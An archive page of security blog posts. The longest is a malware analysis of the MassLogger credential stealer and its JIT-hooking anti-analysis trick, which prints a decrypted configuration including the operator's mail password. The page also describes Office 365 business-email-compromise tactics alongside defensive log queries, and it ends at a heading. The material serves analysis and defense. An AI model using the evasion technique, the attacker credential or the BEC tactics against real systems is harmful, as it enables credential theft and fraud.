Category Archives: Homepage Carousel

Bypassing MassLogger Anti-Analysis — a Man-in-the-Middle Approach

The FireEye Front Line Applied Research & Expertise (FLARE) Team attempts to always stay on top of the most current and emerging threats. As a member of the FLARE Reverse Engineer team, I recently received a request to analyze a fairly new credential stealer identified as MassLogger. Despite the lack of novel functionalities and features, this sample employs a sophisticated technique that replaces the Microsoft Intermediate Language (MSIL) at run time to hinder static analysis. At the time of this writing, there is only one publication discussing the MassLogger obfuscation technique in some detail. Therefore, I decided to share my research and tools to help analyze MassLogger and other malware using a similar technique. Let us take a deep technical dive into the MassLogger credential stealer and the .NET runtime.

Triage

MassLogger is a .NET credential stealer. It starts with a launcher (6b975fd7e3eb0d30b6dbe71b8004b06de6bba4d0870e165de4bde7ab82154871) that uses simple anti-debugging techniques which can be easily bypassed when identified. This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload (bc07c3090befb5e94624ca4a49ee88b3265a3d1d288f79588be7bb356a0f9fae) named Bin-123.exe. The final payload can be easily extracted and executed independently. Therefore, we will focus exclusively on this final payload where the main anti analysis technique is used.

Basic static analysis doesn’t reveal anything too exciting. We notice some interesting strings, but they are not enough to give us any hints about the malware’s capabilities. Executing the payload in a controlled environment shows that the sample drops a log file that identifies the malware family, its version, and most importantly some configuration options. A sample log file is described in Figure 1. We can also extract some interesting strings from memory as the sample runs. However, basic dynamic analysis is not sufficient to extract all host-based indicators (HBIs), network-based indicators (NBIs) and complete malware functionality. We must perform a deeper analysis to better understand the sample and its capabilities.

User Name: user
IP: 127.0.0.1
Location: United States
OS: Microsoft Windows 7 Ultimate 32bit
CPU: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz
GPU: VMware SVGA 3D
AV: NA
Screen Resolution: 1438x2460
Current Time: 6/17/2020 1:23:30 PM
MassLogger Started: 6/17/2020 1:23:21 PM
Interval: 2 hour
MassLogger Process: C:\Users\user\Desktop\Bin-123.exe
MassLogger Melt: false
MassLogger Exit after delivery: false
As Administrator: False
Processes:
Name:cmd, Title:Administrator: FakeNet-NG - fakenet
Name:iexplore, Title:FakeNet-NG - Internet Explorer
Name:dnSpy-x86, Title:dnSpy v6.0.5 (32-bit)
Name:cmd, Title:Administrator: C:\Windows\System32\cmd.exe
Name:ProcessHacker, Title:Process Hacker [WIN-R23GG4KO4SD\user]+ (Administrator)

### WD Exclusion ###
Disabled

### USB Spread ###
Disabled

### Binder ###
Disabled

### Window Searcher ###
Disabled

### Downloader ###
Disabled

### Bot Killer ###
Disabled

### Search And Upload ###
Disabled

### Telegram Desktop ###
Not Installed

### Pidgin ###
Not Installed

### FileZilla ###
Not Installed

### Discord Tokken ###
Not Installed

### NordVPN ###
Not Installed

### Outlook ###
Not Installed

### FoxMail ###
Not Installed

### Thunderbird ###
Not Installed

### QQ Browser ###
Not Installed

### FireFox ###
Not Installed

### Chromium Recovery ###
Not Installed

### Keylogger And Clipboard ###

 

[20/06/17]  [Welcome to Chrome - Google Chrome]
[ESC]

[20/06/17]  [Clipboard]
Vewgbprxvhvjktmyxofjvpzgazqszaoo

Figure 1: Sample MassLogger log

Just Decompile It

Like many other .NET malwares, MassLogger obfuscates all of its methods names and even the method control flow. We can use de4dot to automatically deobfuscate the MassLogger payload. However, looking at the deobfuscated payload, we quickly identify a major issue: Most of the methods contain almost no logic as shown in Figure 2.


Figure 2: dnSpy showing empty methods

Looking at the original MassLogger payload in dnSpy’s Intermediate Language (IL) view confirms that most methods do not contain any logic and simply return nothing. This is obviously not the real malware since we already observed with dynamic analysis that the sample indeed performs malicious activities and logging to a log file. We are left with a few methods, most notably the method with the token 0x0600049D called first thing in the main module constructor.


Figure 3: dnSpy IL view showing the method's details

Method 0x0600049D control flow has been obfuscated into a series of switch statements. We can still somewhat follow the method’s high-level logic with the help of dnSpy as a debugger. However, fully analyzing the method would be very time consuming. Instead, when first analyzing this payload, I chose to quickly scan over the entire module to look for hints. Luckily, I spot a few interesting strings I missed during basic static analysis: clrjit.dll, VirtualAlloc, VirtualProtect and WriteProcessMemory as seen in Figure 4.


Figure 4: Interesting strings scattered throughout the module

A quick internet search for “clrjit.dll” and “VirtualProtect” quickly takes us to a few publications describing a technique commonly referred to as Just-In-Time Hooking. In essence, JIT Hooking involves installing a hook at the compileMethod() function where the JIT compiler is about to compile the MSIL into assembly (x86, x64, etc). With the hook in place, the malware can easily replace each method body with the real MSIL that contains the original malware logic. To fully understand this process, let’s explore the .NET executable, the .NET methods, and how MSIL turns into x86 or x64 assembly.

.NET Executable Methods

A .NET executable is just another binary following the Portable Executable (PE) format. There are plenty of resources describing the PE file format, the .NET metadata and the .NET token tables in detail. I recommend our readers to take a quick detour and refresh their memory on those topics before continuing. This post won’t go into further details but will focus on the .NET methods instead.

Each .NET method in a .NET assembly is identified by a token. In fact, everything in a .NET assembly, whether it’s a module, a class, a method prototype, or a string, is identified by a token. Let’s look at method identified by the token 0x0600049D, as shown in Figure 5. The most-significant byte (0x06) tells us that this token is a method token (type 0x06) instead of a module token (type 0x00), a TypeDef token (type 0x02), or a LocalVarSig token (type 0x11), for example. The three least significant bytes tell us the ID of the method, in this case it’s 0x49D (1181 in decimal). This ID is also referred to as the Method ID (MID) or the Row ID of the method.


Figure 5: Method details for method 0x0600049D

To find out more information about this method, we look within the tables of the “#~” stream of the .NET metadata streams in the .NET metadata directory as show in Figure 6. We traverse to the entry number 1181 or 0x49D of the Method table to find the method metadata which includes the Relative Virtual Address (RVA) of the method body, various flags, a pointer to the name of the method, a pointer to the method signature, and finally, an pointer to the parameters specification for this method. Please note that the MID starts at 1 instead of 0.


Figure 6: Method details from the PE file header

For method 0x0600049D, the RVA of the method body is 0xB690. This RVA belongs to the .text section whose RVA is 0x2000. Therefore, this method body begins at 0x9690 (0xB6900x2000) bytes into the .text section. The .text section starts at 0x200 bytes into the file according to the section header. As a result, we can find the method body at 0x9890 (0x9690 + 0x200) bytes offset into the file. We can see the method body in Figure 7.


Figure 7: Method 0x0600049D body in a hex editor

.NET Method Body

The .NET method body starts with a method body header, followed by the MSIL bytes. There are two types of .NET methods: a tiny method and a fat method. Looking at the first byte of the method body header, the two least-significant bits tell us if the method is tiny (where the last two bits are 10) or fat (where the last two bits are 11).

.NET Tiny Method

Let’s look at method 0x06000495. Following the same steps described earlier, we check the row number 0x495 (1173 in decimal) of the Method table to find the method body RVA is 0x7A7C which translates to 0x5C7C as the offset into the file. At this offset, the first byte of the method body is 0x0A (0000 1010 in binary).


Figure 8: Method 0x06000495 metadata and body

Since the two least-significant bits are 10, we know that 0x06000495 is a tiny method. For a tiny method, the method body header is one byte long. The two least-significant bits are 10 to indicate that this is the tiny method, and the six most-significant bits tell us the size of the MSIL to follow (i.e. how long the MSIL is). In this case, the six most-significant bits are 000010, which tells us the method body is two bytes long. The entire method body for 0x06000495 is 0A 16 2A, followed by a NULL byte, which has been disassembled by dnSpy as shown in Figure 9.


Figure 9: Method 0x06000495 in dnSpy IL view

.NET Fat Method

Coming back to method 0x0600049D (entry number 1181) at offset 0x9890 into the file (RVA 0xB690), the first byte of the method body is 0x1B (or 0001 1011 in binary). The two least-significant bits are 11, indicating that 0x0600049D is a fat method. The fat method body header is 12-byte long whose structure is beyond the scope of this blog post. The field we really care about is a four-byte field at offset 0x04 byte into this fat header. This field specifies the length of the MSIL that follows this method body header. For method 0x0600049D, the entire method body header is “1B 30 08 00 A8 61 00 00 75 00 00 11” and the length of the MSIL to follow is “A8 61 00 00” or 0x61A8 (25000 in decimal) bytes.


Figure 10: Method 0x0600049D body in a hex editor

JIT Compilation

Whether a method is tiny or fat, it does not execute as is. When the .NET runtime needs to execute a method, it follows exactly the process described earlier to find the method body which includes the method body header and the MSIL bytes. If this is the first time the method needs to run, the .NET runtime invokes the Just-In-Time compiler which takes the MSIL bytes and compiles them into x86 or x64 assembly depending on whether the current process is 32- or 64-bit. After some preparation, the JIT compiler eventually calls the compileMethod() function. The entire .NET runtime project is open-sourced and available on GitHub. We can easily find out that the compileMethod() function has the following prototype (Figure 11):

CorJitResult __stdcall compileMethod (
    ICorJitInfo                       *comp,               /* IN */
    CORINFO_METHOD_INFO               *info,               /* IN */
    unsigned /* code:CorJitFlag */    flags,               /* IN */
    BYTE                              **nativeEntry,       /* OUT */
    ULONG                             *nativeSizeOfCode    /* OUT */
);

Figure 11: compileMethod() function protype

Figure 12 shows the CORINFO_METHOD_INFO structure.

struct CORINFO_METHOD_INFO
{
      CORINFO_METHOD_HANDLE       ftn;
      CORINFO_MODULE_HANDLE       scope;
      BYTE *                      ILCode;
      unsigned                    ILCodeSize;
      unsigned                    maxStack;
      unsigned                    EHcount;
      CorInfoOptions              options;
      CorInfoRegionKind           regionKind;
      CORINFO_SIG_INFO            args;
      CORINFO_SIG_INFO            locals;
};

Figure 12: CORINFO_METHOD_INFO structure

The ILCode is a pointer to the MSIL of the method to compile, and the ILCodeSize tells us how long the MSIL is. The return value of compileMethod() is an error code indicating success or failure. In case of success, the nativeEntry pointer is populated with the address of the executable memory region containing the x86 or the x64 instruction that is compiled from the MSIL.

MassLogger JIT Hooking

Let’s come back to MassLogger. As soon as the main module initialization runs, it first decrypts MSIL of the other methods. It then installs a hook to execute its own version of compileMethod() (method 0x06000499). This method replaces the ILCode and ILCodeSize fields of the info argument to the original compileMethod() with the real malware’s MSIL bytes.

In addition to replacing the MSIL bytes, MassLogger also patches the method body header at module initialization time. As seen from Figure 13, the method body header of method 0x060003DD on disk (at file offset 0x3CE0) is different from the header in memory (at RVA 0x5AE0). The only two things remaining quite consistent are the least significant two bits indicating whether the method is tiny or fat. To successfully defeat this anti-analysis technique, we must recover the real MSIL bytes as well as the correct method body header.


Figure 13: Same method body with different headers when resting on disk vs. loaded in memory

Defeating JIT Method Body Replacement With JITM

To automatically recover the MSIL and the method body header, one possible approach suggested by another FLARE team member is to install our own hook at compileMethod() function before loading and allowing the MassLogger module constructor to run.  There are multiple tutorials and open-sourced projects on hooking compileMethod() using both managed hooks (the new compileMethod() is a managed method written in C#) and native hooks (the new compileMethod() is native and written in C or C++). However, due to the unique way MassLogger hooks compileMethod(), we cannot use the vtable hooking technique implemented by many of the aforementioned projects. Therefore, I’d like to share the following project: JITM, which is designed use inline hooking implemented by PolyHook library. JITM comes with a wrapper for compileMethod() which will logs all the method body headers and MSIL bytes to a JSON file before calling the original compileMethod().

In addition to the hook, JITM also includes a .NET loader. This loader first loads the native hook DLL (jitmhook.dll) and installs the hook. The loader then loads the MassLogger payload and executes its entry point. This causes MassLogger’s module initialization code to execute and install its own hook, but hooking jitmhook.dll code instead of the original compileMethod(). An alternative approach to executing MassLogger’s entry point is to call the RuntimeHelpers.PrepareMethod() API to force the JIT compiler to run on all methods. This approach is better because it avoids running the malware, and it potentially can recover methods not called in the sample’s natural code path. However, it requires additional work to force all methods to be compiled properly.

To load and recover MassLogger methods, run the following command (Figure 14):

jitm.exe Bin-123.exe [optional_timeout]

Figure 14: Command to run jitm

Once the timeout expires, you should see the files jitm.log and jitm.json created in the current directory. jitm.json contains the method token, method body header and MSIL of all method recovered from Bin-123.exe. The only thing left to do is to rebuild the .NET metadata so we can perform static analysis.


Figure 15: Sample jitm.json

Rebuilding the Assembly

Since the decrypted method body header and MSIL may not fit in the original .NET assembly properly, the easiest thing to do is to add a new section and a section header to MassLogger. There are plenty of resources on how to add a PE section header and data, none of which is trivial or easy to automate. Therefore, JITM also include the following Python 2.7 helper script to automate this process: Scripts\addsection.py.

With the method body header and MSIL of each method added to a new PE section as shown in XXX, we can easily parse the .NET metadata and fix each method’s RVA to point to the correct method body within the new section. Unfortunately, I did not find any Python library to easily parse the .NET metadata and the MethodDef table. Therefore, JITM also includes a partially implemented .NET metadata parser: Script\pydnet.py. This script uses pefile and vivisect modules and parses the PE file up to the Method table to extract all methods and its associated RVAs.


Figure 16: Bin-123.exe before and after adding an additional section named FLARE

Finally, to tie everything together, JITM provides Script\fix_assembly.py to perform the following tasks:

  1. Write the method body header and MSIL of each method recovered in jitm.json into a temporary binary file named “section.bin” while at the same time remember the associated method token and the offset into section.bin.
  2. Use addsection.py to add section.bin into Bin-123.exe and save the data into a new file, e.g. Bin-123.fixed.exe.
  3. Use pydnet.py to parse Bin-123.fixed.exe and update the RVA field of each method entry in the MethodDef table to point to the correct RVA into the new section.

The final result is a partially reconstructed .NET assembly. Although additional work is necessary to get this assembly to run correctly, it is good enough to perform static analysis to understand the malware’s high-level functionalities.

Let’s look at the reconstructed method 0x0600043E that implements the decryption logic for the malware configuration. Compared to the original MSIL, the reconstructed MSIL now shows that the malware uses AES-256 in CBC mode with PKCS7 padding. With a combination of dynamic analysis and static analysis, we can also easily identify the key to be “Vewgbprxvhvjktmyxofjvpzgazqszaoo” and the IV to be part of the Base64-encoded buffer passed in as its argument.


Figure 17: Method 0x0600043 before and after fixing the assembly

Armed with that knowledge, we can write a simple tool to decrypt the malware configuration and recover all HBIs and NBIs (Figure 18).

                              BinderBytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                BinderName: Mzvmy_Nyrrd
                BinderOnce: false
        DownloaderFilename: Hrebxs
            DownloaderOnce: false
             DownloaderUrl: Vrwus
              EmailAddress: appfoil@outlook.com
               EmailClient: smtp.outlook.com
               EmailEnable: true
                 EmailPass: services000
                 EmailPort: 587
               EmailSendTo: appfoil@outlook.com
                  EmailSsl: True
        EnableAntiDebugger: false
        EnableAntiHoneypot: false
       EnableAntiSandboxie: false
          EnableAntiVMware: false
              EnableBinder: false
           EnableBotKiller: false                               
     EnableBrowserRecovery: true
EnableDeleteZoneIdentifier: false
          EnableDownloader: false
            EnableForceUac: false
             EnableInstall: false
           EnableKeylogger: true
          EnableMemoryScan: false
               EnableMutex: false
          EnableScreenshot: false
     EnableSearchAndUpload: false
           EnableSpreadUsb: false
         EnableWDExclusion: false
      EnableWindowSearcher: false
             ExectionDelay: 6
         ExitAfterDelivery: false
                 FtpEnable: false
                   FtpHost: ftp://127.0.0.1
                   FtpPass:
                   FtpPort: 21
                   FtpUser: Foo
               InstallFile: Pkkbdphw
             InstallFolder: %AppData%
       InstallSecondFolder: Eqrzwmf
                       Key:
                     Mutex: Ysjqh
               PanelEnable: false
                 PanelHost: http://example.com/panel/upload.php
 SearchAndUploadExtensions: .jpeg, .txt, .docx, .doc,
  SearchAndUploadSizeLimit: 500000
    SearchAndUploadZipSize: 5000000
              SelfDestruct: false
           SendingInterval: 2
                   Version: MassLogger v1.3.4.0
    WindowSearcherKeywords: youtube, facebook, amazon,

Figure 18: Decrypted configuration

Conclusion

Using a JIT compiler hook to replace the MSIL is a powerful technique that makes static analysis almost impossible. Although this technique is not new, I haven’t seen many .NET malwares making use of it, let alone trying to implement their own adaptation instead of using widely available protectors like ConfuserEx. Hopefully, with this blog post and JITM, analysts will now have the tools and knowledge to defeat MassLogger or any future variants that use a similar technique.

If this is the type of work that excites you; and, if you thrive to push the state of the art when it comes to malware analysis and reverse engineering, the Front Line Applied Research and Expertise (FLARE) team may be a good place for you. The FLARE team faces fun and exciting challenges on a daily basis; and we are constantly looking for more team members to tackle these challenges head on. Check out FireEye’s career page to see if any of our opportunities would be a good fit for you.

Contributors (Listed Alphabetically)

  • Tyler Dean (@spresec): Technical review of the post
  • Michael Durakovich: Technical review of the post
  • Stephen Eckels (@stevemk14ebr): Help with porting JITM to use PolyHook
  • Jon Erickson (@evil-e): Technical review of the post
  • Moritz Raabe (@m_r_tz): Technical review of the post

Repurposing Neural Networks to Generate Synthetic Media for Information Operations

FireEye’s Data Science and Information Operations Analysis teams released this blog post to coincide with our Black Hat USA 2020 Briefing, which details how open source, pre-trained neural networks can be leveraged to generate synthetic media for malicious purposes. To summarize our presentation, we first demonstrate three successive proof of concepts for how machine learning models can be fine-tuned in order to generate customizable synthetic media in the text, image, and audio domains. Next, we illustrate examples in which synthetically generated media have been weaponized for information operations (IO), as detected on the front lines by Mandiant Threat Intelligence. Finally, we outline challenges in detecting synthetically generated content, and lay out potential paths forward in a future where synthetically generated media will increasingly look, speak, and write like us.

Highlights

  • Open source, pre-trained natural language processing, computer vision, and speech recognition neural networks can be weaponized for offensive social media-driven IO campaigns.
  • Detection, attribution, and response is challenging in scenarios where actors can anonymously generate and distribute credible fake content using proprietary training datasets.
  • The security community can and should help AI researchers, policy makers, and other stakeholders mitigate the harmful use of open source models.

Background: Synthetic Media, Generative Models, and Transfer Learning

Synthetic media is by no means a new development; methods for manipulating media for specific agendas are as old as the media themselves. In the 1930’s, the chief of the Soviet secret police was photographed walking alongside Joseph Stalin before being retouched out of an official press photo, after he himself was arrested and executed during the Great Purge. Digital graphic manipulation like this became prominent with the advent of Photoshop. Then later in the 2010’s, the term “deepfake” was coined. While deepfake videos, including techniques like face swapping and lip syncing, are concerning in the long term, this blog post focuses on more basic, but we argue more believable, synthetic media generation advancements in the text, static image, and audio domains. Machine learning approaches for creating synthetic media are underpinned by generative models, which have been effectively misused to fabricate high volume submissions to federal public comment websites and clone a voice to trick an executive into handing over $240,000.

The pre-training required to produce models capable of synthetic media generation can cost thousands of dollars, take weeks or months of time, and require access to expensive GPU clusters. However, the application of transfer learning can drastically reduce the amount of time and effort involved. In transfer learning, we start from a large generic model that has been pre-trained for an initial task where copious data is available. We then leverage the model’s acquired knowledge to train it further on a different, smaller dataset so that it excels at a subsequent, related task. This process of training the model further is referred to as fine-tuning, which typically requires less resources compared to pre-training from scratch. You can think of this in more relatable terms—if you’re a professional tennis player, you don’t need to completely relearn how to swing a racket in order to excel at badminton.

Announcing the Seventh Annual Flare-On Challenge

The Front Line Applied Research & Expertise (FLARE) team is honored to announce that the popular Flare-On challenge will return for a triumphant seventh year. Ongoing global events proved no match against our passion for creating challenging and fun puzzles to test and hone the skills of aspiring and experienced reverse engineers.

The contest will begin at 8:00 p.m. ET on Sept. 11, 2020. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Oct. 23, 2020.

This year’s contest features a total of 11 challenges in a variety of formats, including Windows, Linux, Python, VBA and .NET. This is one of the only Windows-centric CTF contests out there and we have crafted it to closely represent the challenges faced by our FLARE team on a daily basis.

If you are skilled and dedicated enough to complete the seventh Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. In previous years we sent out belt buckles, replica police badges, challenge coins, medals and huge pins.

Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon7.

Obscured by Clouds: Insights into Office 365 Attacks and How Mandiant Managed Defense Investigates

With Business Email Compromises (BECs) showing no signs of slowing down, it is becoming increasingly important for security analysts to understand Office 365 (O365) breaches and how to properly investigate them. This blog post is for those who have yet to dip their toes into the waters of an O365 BEC, providing a crash course on Microsoft’s cloud productivity suite and its assortment of logs and data sources useful to investigators. We’ll also go over common attacker tactics we’ve observed while responding to BECs and provide insight into how Mandiant Managed Defense analysts approach these investigations at our customers using PowerShell and the FireEye Helix platform.

Office 365

Office 365 is Microsoft’s cloud-based subscription service for the Microsoft Office suite. It is built from dozens of applications tightly embedded into the lives of today’s workforce, including:

  • Exchange Online, for emails
  • SharePoint, for intranet portals and document sharing
  • Teams and Skype for Business, for instant messaging
  • OneDrive, for file sharing
  • Microsoft Stream, for recorded meetings and presentations

As more and more organizations decide to adopt Microsoft’s cloud-based offering to meet their needs, unauthorized access to these O365 environments, or tenants in Microsoft’s parlance, has become increasingly lucrative to motivated attackers. The current high adoption rate of O365 means that attackers are getting plenty of hands on experience with using and abusing the platform. While many tactics have remained largely unchanged in the years since we’ve first observed them, we’ve also witnessed the evolution of techniques that are effective against even security-conscious users.

In general, the O365 compromises we’ve responded to have fallen into two categories:

  • Business Email Compromises (BECs)
  • APT or state-sponsored intrusions

Based on our experience, BECs are a common threat to any organization's O365 tenant. The term “BEC” typically refers to a type of fraud committed by financially motivated attackers. BEC actors heavily rely on social engineering to carry out their schemes, ultimately defrauding organizations and even personnel.

One common BEC scheme involves compromising a C-suite executive’s account via phishing. Once the victim unwittingly enters their credentials into a web form masquerading as the legitimate Office 365 login portal, attackers log in and instruct others in the organization to conduct a wire transfer, perhaps under the guise of an upcoming acquisition that has yet to be publicly announced. However, we’ve also observed more effective schemes where attackers compromise those in financial positions and patiently wait until an email correspondence has begun about a due payment. Attackers seize this opportunity by sending a doctored invoice (sometimes based on a legitimate invoice that had been stolen earlier) on behalf of the compromised user to another victim responsible for making payments. These emails are typically hidden from the compromised user due to attacker-created Outlook mailbox rules. Often times, by the time the scheme is inevitably discovered and understood days or weeks later, the money is unrecoverable—highlighting the importance of contacting law enforcement immediately if you’ve fallen victim to a fraud.

The personal finances of staff aren’t off limits to attackers either. We’ve observed several cases of W-2 scams, in which attackers send a request to HR for W-2 information from the victim’s account. Once obtained, this personally identifiable information is later used to conduct tax fraud.

Conversely, APT intrusions are typically more sophisticated and are conducted by state-sponsored threat actors. Rather than for financial gain, APT actors are usually tasked to compromise O365 tenants for purposes of espionage, data theft, or destruction. Given the wealth of sensitive information housed in any given organization’s O365 tenant, APT actors may not even need to touch a single endpoint to complete their mission, sidestepping the many security controls organizations have implemented and invested in.

O365 Logs and Data Sources

In this section, we’ll touch on the multitude of logs and portals containing forensic data relevant to an O365 investigation.

Before we can begin investigating an O365 case, we’ll work with our clients to get an “Investigator” account provisioned with the roles required to obtain the forensic data we need. For the purposes of this blog post, we’ll quickly list the roles needed for an Investigator account, but during an active Managed Defense investigation, a designated Managed Defense consultant will provide further guidance on account provisioning.

At a minimum, the Investigator account should have the following roles:

Exchange Admin Roles

  • View-only audit logs
  • View-only configuration
  • View-only recipients
  • Mailbox Search
  • Message Tracking

eDiscovery Rights

  • eDiscovery Manager role

Azure Active Directory Roles

  • Global Reader

Unified Audit Log (UAL)

The Unified Audit Log records activity from various applications within the Office 365 suite, and can be considered O365’s main log source. Entries in the UAL are stored in JSON format. We recommend using the PowerShell cmdlet Search-UnifiedAuditLog to query the UAL as it allows for greater flexibility, though it can also be acquired from the Office 365 Security & Compliance Center located at protection.office.com. In order to leverage this log source (and the Admin Audit Log), ensure that the Audit Log Search feature is enabled.

The UAL has a few nuances that are important to consider. While it provides a good high-level summary of activity across various O365 applications, it won’t log comprehensive mailbox activity (for that, acquire the Mailbox Audit Log). Furthermore, the UAL has a few limitations, namely:

  • Results to a single query are limited to 5000 results
  • Only 90 days of activity are retained
  • Events may take up to 24 hours before they are searchable

Mailbox Audit Log (MAL)

The Mailbox Audit Log, part of Exchange Online, will capture additional actions performed against objects within a mailbox. As such, it’s a good idea acquire and analyze the MAL for each affected user account with the PowerShell cmdlet Search-MailboxAuditLog. Note that entries in the MAL will be retained for 90 days (by default) and timestamps will be based on the user’s local time zone. The MAL’s retention time can always be increased with the PowerShell cmdlet Set-Mailbox along with the AuditLogAgeLimit parameter.

At the time of writing this post, Microsoft has recently released information about enhanced auditing functionality that gives investigators insight into which emails were accessed by attackers. This level of logging for regular user accounts is only available for organizations with an Office 365 E5 subscription. Once Advanced Auditing is enabled, mail access activity will be logged under the MailItemsAccessed operation in both the UAL and MAL.

Administrator Audit Log

If the Audit Log Search feature is enabled, this supplemental data source logs all PowerShell administrative cmdlets (including command-line arguments) executed by administrators. If you suspect that an administrator account was compromised, don’t overlook this log! The PowerShell cmdlet Search-AdminAuditLog is used to query these logs, but note that the Audit Log Search feature must be enabled and the same 90 day retention limit will be in place.

Azure AD Logs

Azure AD logs can be accessed from the Azure portal (portal.azure.com) under the Azure Active Directory service. Azure AD Sign-in logs contain detailed information about how authentications occur and O365 application usage. Azure AD audit logs are also a valuable source of information, containing records of password resets, account creations, role modifications, OAuth grants, and more that could be indicative of suspicious activity. Note that Azure AD logs are only available for 30 days.

Cloud App Security Portal

For cases where OAuth abuse has been observed, information about cloud applications can be found in Microsoft’s Cloud App Security portal (portal.cloudappsecurity.com). Access to this portal requires an E5 license or a standalone Cloud App license. For more background on OAuth abuse, be sure to check out our blog post:  Shining a Light on OAuth Abuse with PwnAuth.

Message Traces

Message traces record the emails sent and received by a user. During an investigation, run reports on any email addresses of interest. The message trace report will contain detailed mail flow information as well as subject lines, original client IP addresses, and message sizes. Message traces are useful for identifying emails sent by attackers from compromised accounts, and can also aid in identifying initial phishing emails if phishing was used for initial access. To obtain the actual emails, use the Content Search tool.

Only the past 10 days of activity is available with the Get-MessageTrace PowerShell cmdlet. Historical searches for older messages can be run with the Get-HistoricalSearch cmdlet (up to 90 days by default), but historical searches typically take hours for the report to be available. Historical reports can also be generated within the Security and Compliance Center.

eDiscovery Content Searches

The Content Search tool allows investigators to query for emails, documents, and instant message conversations stored in an Office 365 tenant. We frequently run Content Search queries to find and acquire copies of emails sent by attackers. Content searches are limited to what has been indexed by Microsoft, so recent activity may not immediately appear. Additionally, only the most recent 1000 items will be shown in the preview pane.

Anatomy of an O365 BEC

As mentioned earlier, BECs are one of the more prevalent threats to O365 tenants seen by Managed Defense today. Sometimes, Mandiant analysts respond to several BEC cases at our customers within the same week. With this frontline experience, we’ve compiled a list of commonly observed tactics and techniques to advise our readers about the types of activities one should anticipate. Please note that this is by no means a comprehensive list of O365 attacks, rather a focus on the usual routes we’ve seen BEC actors take to accomplish their objective.

Phase 1: Initial Compromise

  • Phishing: Emails with links to credential harvesting forms sent to victims, sometimes from the account of a compromised business partner.
  • Brute force: A large dictionary of passwords attempted against an account of interest.
  • Password spray: A dictionary of commonly used passwords attempted against a list of known user accounts.
  • Access to credential dump: Valid credentials used from a previous compromise of the user.
  • MFA bypasses: Use of mail clients leveraging legacy authentication protocols (e.g. IMAP/POP), which bypass MFA policies. Attackers may also spam push notifications to the victim by repeatedly attempting to log in, eventually leading to the victim mistakenly accepting the prompt.

Phase 2: Establish Foothold

  • More phishing: Additional phishing lures sent to internal/external contacts from Outlook’s global address list.
  • More credible lures: New phishing lures uploaded to the compromised user's OneDrive or SharePoint account and shared with the victim’s coworkers.
  • SMTP forwarding: SMTP forwarding enabled in the victim’s mailbox to forward all email to an external address.
  • Forwarding mailbox rules: Mailbox rules created to forward all or certain mail to an external address.
  • Mail client usage: Outlook or third-party mail clients used by attackers. Mail will continue to sync for a short while after a password reset occurs.

Phase 3: Evasion

  • Evasive mailbox rules: Mailbox rules created to delete mail or move some or all incoming mail to uncommonly used folders in Outlook, such as “RSS Subscriptions”.
  • Manual evasion: Manual deletion of incoming and sent mail. Attackers may forego mailbox rules entirely.
  • Mail forwarding: Attackers accessing emails without logging in if a mechanism to forward mail to an external address was set up earlier.
  • Mail client usage: Outlook or third-party mail clients used by attackers. Mail can be synced locally to the attacker’s machine and accessed later.
  • VPN usage: VPN servers, sometimes with similar geolocations to their victims, used in an attempt to avoid detection and evade conditional access policies.

Phase 4: Internal Reconnaissance

  • Outlook searching: The victim’s mailbox queried by attackers for emails of interest. While not recorded in audit logs, it may be available to export if it was not deleted by attackers.
  • O365 searching: Searches conducted within SharePoint and other O365 applications for content of interest. While not recorded in audit logs, SharePoint and OneDrive file interactions are recorded in the UAL.
  • Mail client usage: Outlook or third-party mail clients used by attackers. Mail can be synced locally to the attacker’s machine and accessed later.

Phase 5: Complete Mission

  • Direct deposit update: A request sent to the HR department to update the victim’s direct deposit information, redirecting payment to the BEC actor.
  • W-2 scam: A request sent to the HR department for W-2 forms, used to harvest PII for tax fraud.
  • Wire transfer: A wire transfer requested for an unpaid invoice, upcoming M&A, charities, etc.
  • Third-party account abuse: Abuse of the compromised user’s privileged access to third-party accounts and services, such as access to a corporate rewards site.

How Managed Defense Responds to O365 BECs

In this section, we’re going to walk through how Managed Defense investigates a typical O365 BEC case.

Many of the steps in our investigation rely on querying for logs with PowerShell. To do this, first establish a remote PowerShell session to Exchange Online. The following Microsoft documentation provides guidance on two methods to do this:

Broad Scoping

We start our investigations off by running broad queries against the Unified Audit Log (UAL) for suspicious activity. We’ll review OAuth activity too, which is especially important if something more nefarious than a financially motivated BEC is suspected. Any FireEye gear available to us—such as FireEye Helix and Email Security—will be leveraged to augment the data available to us from Office 365. 

The following are a few initial scoping queries we’d typically run at the beginning of a Managed Defense engagement.

Scoping Recent Mailbox Rule Activity

Even in large tenants, pulling back all recent mailbox rule activity doesn’t typically produce an unmanageable number of results, and attacker-created rules tend to stand out from the rest of the noise.

Querying UAL for all mailbox rule activity in Helix:

class=ms_office365 action:[New-InboxRule, Set-InboxRule, Enable-InboxRule] | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg]

Query UAL for new mail rule activity in PowerShell:

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -Operations "New-InboxRule","Set-InboxRule","Enable-InboxRule" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8

Scoping SMTP Forwarding Activity

SMTP forwarding is sometimes overlooked because it appears under a UAL operation separate from mailbox rules. This query looks for the Set-Mailbox operation containing a parameter to forward mail over SMTP, indicative of automatic forwarding being enabled from OWA.

Querying UAL for SMTP forwarding in Helix:

class=ms_office365 action=Set-Mailbox rawmsg:ForwardingSmtpAddress | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg]

Querying UAL for SMTP forwarding in PowerShell:

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -FreeText "ForwardingSmtpAddress" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8

Analyze Compromised Users Logs

